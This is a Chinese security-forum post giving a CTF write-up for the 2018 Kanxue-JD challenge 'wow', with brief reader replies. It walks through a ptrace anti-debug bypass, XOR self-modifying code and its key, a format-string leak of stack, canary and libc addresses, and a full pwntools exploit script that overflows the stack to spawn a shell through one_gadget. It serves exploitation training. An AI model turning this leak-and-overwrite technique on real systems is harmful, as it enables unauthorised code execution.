首页
社区
课程
招聘
[原创]看雪.京东 2018CTF 第三题 PWN_wow
2018-6-20 23:21 4087

[原创]看雪.京东 2018CTF 第三题 PWN_wow

2018-6-20 23:21
4087

1. 简单的反调试

在函数test()里面使用sys_ptrace系统调用进行反调试。

void __cdecl test()
{
  unsigned __int64 v0; // r10
  signed __int64 v1; // rax

  if ( sys_ptrace(0LL, 0LL, 1uLL, v0) < 0 )
    v1 = sys_exit(0);
}

只需要在welcome()函数中patch掉test()函数的调用即可清除反调试。

自修改代码

.text:0000000000400816
.text:0000000000400818 ; ---------------------------------------------------------------------------
.text:0000000000400818                 sar     rax, 0Ch
.text:000000000040081C                 shl     rax, 0Ch
.text:0000000000400820                 mov     rdi, rax
.text:0000000000400823                 mov     rdx, 7
.text:000000000040082A                 mov     rax, 0Ah
.text:0000000000400831                 mov     rsi, 1000h
.text:0000000000400838                 syscall                 ; LINUX - sys_mprotect
.text:000000000040083A                 xor     rax, rax
.text:000000000040083D                 mov     rdx, 6          ; size = 6
.text:0000000000400844                 push    rax
.text:0000000000400845                 lea     rax, szCh
.text:000000000040084D                 mov     rsi, rax        ; buf = szCh
.text:0000000000400850                 pop     rax
.text:0000000000400851                 mov     rdi, rax        ; fd = 0
.text:0000000000400854                 syscall                 ; LINUX - read
.text:0000000000400856                 call    $+5
.text:000000000040085B
.text:000000000040085B L0_64:
.text:000000000040085B                 pop     rax
.text:000000000040085C                 add     rax, 24h ; '$'
.text:0000000000400860                 xor     rcx, rcx
.text:0000000000400863                 mov     dl, [rsi+rcx]
.text:0000000000400866
.text:0000000000400866 L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866                 mov     bl, [rax+rcx]
.text:0000000000400869                 xor     bl, dl
.text:000000000040086B                 mov     [rax+rcx], bl
.text:000000000040086E                 mov     dh, [rax+rcx-1]
.text:0000000000400872                 inc     rcx
.text:0000000000400875                 cmp     dh, 0FBh
.text:0000000000400878                 jz      short L1_64
.text:000000000040087A                 cmp     bl, 90h
.text:000000000040087D                 jnz     short L1_64
.text:000000000040087D ; ---------------------------------------------------------------------------
.text:000000000040087F                 db  2Dh ; -
.text:0000000000400880                 db 0E8h
.text:0000000000400881                 db  61h ; a
.text:0000000000400882                 db  6Dh ; m
.text:0000000000400883                 db  2Dh ; -
.text:0000000000400884                 db  48h ; H
.text:0000000000400885                 db 0E5h
.text:0000000000400886                 db  65h ; e
.text:0000000000400887                 db  65h ; e
.text:0000000000400888                 db  65h ; e
.text:0000000000400889                 db  2Dh ; -
.text:000000000040088A                 db  54h ; T
.text:000000000040088B                 db 0ACh
.text:000000000040088C LEn0_64         db 0EFh                 ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088D                 db  79h ; y
.text:000000000040088E                 db  6Dh ; m

在0x400838处,使用sys_mprotect(0x400000, 0x1000, 7)将一段代码段内存修改为可读、可写、可执行。在0x400854处使用sys_read(0, szCh, 6)读6个字符,保存到szCh。在L1_64处的循环,使用读入第一个字符对0x40087F处的内存进行异或。

 

读入的字符是什么,这个不太好判断,试了几个字符后,发现0x00400886处有三个e,就用e试了一下,正好出现了合理的汇编代码。

.text:000000000040087F 48 8D 04 08             lea     rax, [rax+rcx]
.text:0000000000400883 48 2D 80 00 00 00       sub     rax, 80h
.text:0000000000400889 48 31 C9                xor     rcx, rcx
.text:000000000040088C
.text:000000000040088C                         LEn0_64:                                ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088C 8A 1C 08                mov     bl, [rax+rcx]
.text:000000000040088F 30 D3                   xor     bl, dl
.text:0000000000400891 88 1C 08                mov     [rax+rcx], bl
.text:0000000000400894 48 FF C1                inc     rcx
.text:0000000000400897 48 83 F9 20             cmp     rcx, 20h ; ' '
.text:000000000040089B 7C EF                   jl      short LEn0_64
.text:000000000040089D 48 05 80 00 00 00       add     rax, 80h
.text:00000000004008A3 48 31 C9                xor     rcx, rcx
.text:00000000004008A6 8A 14 0E                mov     dl, [rsi+rcx]
.text:00000000004008A9 48 FF C6                inc     rsi
.text:00000000004008AC 32 14 0E                xor     dl, [rsi+rcx]
.text:00000000004008AF
.text:00000000004008AF                         L2_64:                                  ; CODE XREF: .text:00000000004008C1↓j
.text:00000000004008AF                                                                 ; .text:00000000004008C6↓j
.text:00000000004008AF 8A 1C 08                mov     bl, [rax+rcx]
.text:00000000004008B2 30 D3                   xor     bl, dl
.text:00000000004008B4 88 1C 08                mov     [rax+rcx], bl
.text:00000000004008B7 8A 74 08 FF             mov     dh, [rax+rcx-1]
.text:00000000004008BB 48 FF C1                inc     rcx
.text:00000000004008BE 80 FE FB                cmp     dh, 0FBh
.text:00000000004008C1 74 EC                   jz      short L2_64
.text:00000000004008C3 80 FB 90                cmp     bl, 90h
.text:00000000004008C6 75 E7                   jnz     short L2_64

看出第一个字符后,后面的五个字符就好判断了。可以发现一个规律,每段内存被异或后,其第一条指令为lea rax, [rax+rcx],从而第一个字节为0x48。利用这个规律,可以找出后面的五个字符。最后这六个字符为evXnaK。六个字符正确后,程序会输出wow!\n

漏洞利用

泄露信息

.text:0000000000400A30 ; ---------------------------------------------------------------------------
.text:0000000000400A30 xor     rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33:                             ; CODE XREF: .text:L_J0↑j
.text:0000000000400A33 mov     rdx, 1Ah
.text:0000000000400A3A mov     rsi, rsp
.text:0000000000400A3D mov     ds:lpGoble, rsp
.text:0000000000400A45 mov     rdi, rax
.text:0000000000400A48 syscall                                 ; LINUX - read
.text:0000000000400A4A mov     rax, cs:lpGoble
.text:0000000000400A51 mov     rdi, rax
.text:0000000000400A54 mov     eax, 0
.text:0000000000400A59 call    _printf
.text:0000000000400A5E xor     rax, rax
.text:0000000000400A61 mov     rdx, 200h
.text:0000000000400A68 lea     rsi, [rsp-20h]
.text:0000000000400A6D mov     rdi, rax
.text:0000000000400A70 syscall                                 ; LINUX - sys_read
.text:0000000000400A72 nop

在0x400A48处读入0x1a个字符到rsp处,然后使用读入的字符作为printf的第一个参数,此处有格式化字符串漏洞。利用这个漏洞可以泄露出栈地址、libc的基地址、canary。使用的格式化字符串为'%1$p %13$p %8$s\x00' + p64(0x601028),其中0x601028为got表中setbuf函数的地址。

 

0x400A70处的sys_readrsp-20h读入0x200个字节,用于覆盖main函数的返回地址,劫持执行流程。

 

覆盖用到的返回地址由one_gadget获取。

$ one_gadget libc.so.6 
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
import time
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'debug'
exe = './wow'
lib = './libc.so.6'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('139.199.99.130', 65188)
    else:
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
hbreak *0x400A59
hbreak *0x400794
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

libc = ELF(lib)

libc_setbuf = libc.symbols['setbuf']

log.info('libc_setbuf 0x%x' % libc_setbuf)

io = start()

io.recvuntil('--')
io.recvuntil('***************************')

# max length: 6
io.send('evXnaK')
io.recvuntil('wow!\n')


# max length: 26
# 0x601028: got setbuf
io.send('%1$p %13$p %8$s\x00' + p64(0x601028))
r = io.recv().split(' ')
rsp = int(r[0], 16)
canary = int(r[1], 16)
setbuf = u64(r[2] + '\x00' * 2)

log.info('rsp    0x%x' % rsp)
log.info('canary 0x%x' % canary)
log.info('setbuf 0x%x' % setbuf)

libc_base = setbuf - libc_setbuf

log.info('libc   0x%x' % libc_base)


# 0x45216 find by one_gadget
rop_chain = 0x45216
payload = 'A' * (0x20 + 0x38)
payload += p64(canary)
payload += 'A' * 8
payload += p64(rop_chain + libc_base)

io.send(payload)

io.interactive()


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-6-20 23:46 被iweizime编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (6)
雪    币: 3958
活跃值: (659)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
DKni 1 2018-6-22 15:42
2
0
学习了~
雪    币: 797
活跃值: (1056)
能力值: ( LV5,RANK:78 )
在线值:
发帖
回帖
粉丝
bambooqj 2018-6-22 21:55
3
0
是真的牛逼.
雪    币: 28302
活跃值: (6721)
能力值: ( LV15,RANK:3306 )
在线值:
发帖
回帖
粉丝
风间仁 19 2018-6-22 22:53
4
0
看来ptrace之后, 使用one_gadget之前得先调用sigprocmask啊
最后于 2018-6-22 22:55 被风间仁编辑 ,原因:
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
聖blue 2018-6-22 22:58
5
0
雪    币: 361
活跃值: (536)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
晴天aa 2018-6-23 00:36
6
0
厉害了哦!
雪    币: 136
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
caigui 1 2018-6-24 11:15
7
0
大牛,膜拜
游客
登录 | 注册 方可回帖
返回